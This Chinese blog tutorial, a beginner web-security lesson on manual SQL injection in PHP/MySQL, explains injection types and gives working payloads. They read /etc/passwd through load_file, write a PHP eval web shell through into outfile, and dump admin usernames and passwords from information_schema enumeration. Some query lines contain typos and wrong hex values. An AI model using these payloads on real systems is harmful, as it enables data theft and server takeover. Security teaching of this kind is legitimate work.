美文网首页网络安全实验室网络与信息安全从0到1玩转网络安全
从0到1学习网络安全 【Web安全入门篇-SQL注入】

从0到1学习网络安全 【Web安全入门篇-SQL注入】

作者: _07 | 来源:发表于2018-03-16 19:57 被阅读257次

    前言

    上一章我们已经学习了如何搭建环境,接下来我们将以 PHP + MySQL 环境为例一起学习SQL注入。

    简介

    所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

    原理

    针对 SQL 注入的攻击行为可描述为通过用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。
    其成因可以归结以下两个原因叠加造成的:
    1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句
    2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到 SQL 语句中。

    注入危害

    攻击者利用 SQL 注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下,还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过 SQL 注入漏洞直接获取 webshell 或者服务器系统权限。

    注入分类
    1. 根据数据类型
    • 数字型注入
    • 字符型注入
      区别:
      字符型:需要单引号闭合的就是字符型注入,并且需要注释掉后面的单引号 (注释符号:#,-- - ,/*)
      数值型:不需要单引号闭合,也不需要注释符号
    1. 根据注入语法
    • UNION query SQL injection(可联合查询注入)
    • Stacked queries SQL injection(可多语句查询注入)
    • Error-based SQL injection(报错型注入)
    • Boolean-based blind SQL injection(布尔型注入)
    • Time-based blind SQL injection(基于时间延迟注入)
    SQL 注入挖掘
    • and 1=1 和 and 1=2 回显页面不同(整形判断)
    • 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
    • \ (转义符)
    • -1/+1 回显下一个或上一个页面(整型判断)(需要用%2b 转码+号)
    • and sleep(5) (判断页面返回时间)
    MySQL 中常用函数
    • system_user() 系统用户名
    • user() 数据库的用户名
    • current_user() 当前用户名
    • session_user() 连接数据库的用户名
    • database() 数据库名
    • version() MYSQL 数据库版本
    • @@basedir 查看安装路径
    • load_file(‘/etc/passwd’) MYSQL 读取本地文件的函数
    MySQL 中 information_scheme 库
    • SCHEMATA 表 字段:SCHEMA_NAME (数据库名字)
    • TABLES 表 字段:TABLE_SCHEMA, TABLE_NAME
    • COLUMNS 表 字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME
    load_file( )函数 读文件操作

    前提:

    • 知道文件绝对路径
    • 能够使用 union 查询
    • 对 web 目录有读写权限
    UNION SELECT 1,load_file('/etc/passwd'),3,4,5,6#
    UNION SELECT 1,load_file('D://phpStudy//WWW//conn.php'),3,4,5,6
    UNION SELECT 1,load_file(0x443A2F2F70687053747564792F2F5757572F2F636F6E6E2E706870),3,4,5,6
    
    into outfile( )写文件操作

    前提:

    • 文件名必须全路径(绝对路径),
    • 用户必须有写文件的权限
    • 没有对 ‘ 单引号过滤
    SELECT '<?php eval($_POST[1]); ?>' into outfile ' D://phpStudy//WWW//hack.php '
    
    MySQL 中 UNION 规则
    • UNION 必须由两条或两条以上的 SELECT 语句组成,语句之间用关键字 UNION 分隔
    • UNION 中的每个查询必须包含相同的列。
    • UNION 会从查询结果集中自动去除了重复行。


    对以上知识有所了解之后我们就可以学习一些在SQL注入时常用的一些操作
    1. 判断字段数

    挖掘出注入点之后我们可以通过 order by 来判断表的字段数
    例如: www.xxx.com/test.php?id=6 order by n

    注:通常使用“order by N”,通过不断变换N的值,至刚好返回正常的网页,可得到当前表的字段数

    1. 判断显示位

    www.xxx.com/test.php?id=6 union select 1,2,3,4,5,6

    1. 获取当数据库名称和当前连接数据库的用户

    www.xxx.com/test.php?id=-1 union select 1,2,databaes(),4,5,6
    www.xxx.com/test.php?id=-1 union select 1,2,user(),4,5,6

    1. 列出所有数据库

    limit 一个一个打印出来库名
    select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
    group_concat 一次性全部显示
    select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

    1. 列出(数据库:xss)中所有的表

    limit 一个一个打印出来字段名 schema
    select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='xss' limit 0,1
    group_concat 一次性全部显示
    select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x674657374
    注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。

    1. 列出(数据库:xss 表:admins )中所有的字段

    limit 一个一个打印出来
    select COLIMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='xss' and
    TABLENAME='admins ' limit 0,1
    group_concat 一次性全部显示
    select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
    TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e

    1. 列出(数据库:xss 表:admins )中的数据

    limit 一个一个打印出来
    select username,passwd from xss.admins limit 0,1
    group_concat 把 一次性全部打印
    select group_concat(concat(username,0x20,passwd)) from xss.admins


    本章是手工注入的一些技巧,当然在实际操作中我们很少会用手工来进行注入测试,所以下一篇我将给大家介绍一款比较常用的注入工具。

    从0到1学习网络安全 【目录】

    小编最近建了交流群方便大家交流学习,群内有小编平时整理的学习资料、视频、工具等。
    白帽交流群 【简介】
    感谢大家支持。

    相关文章

      网友评论

      本文标题:从0到1学习网络安全 【Web安全入门篇-SQL注入】

      本文链接:https://www.haomeiwen.com/subject/womcqftx.html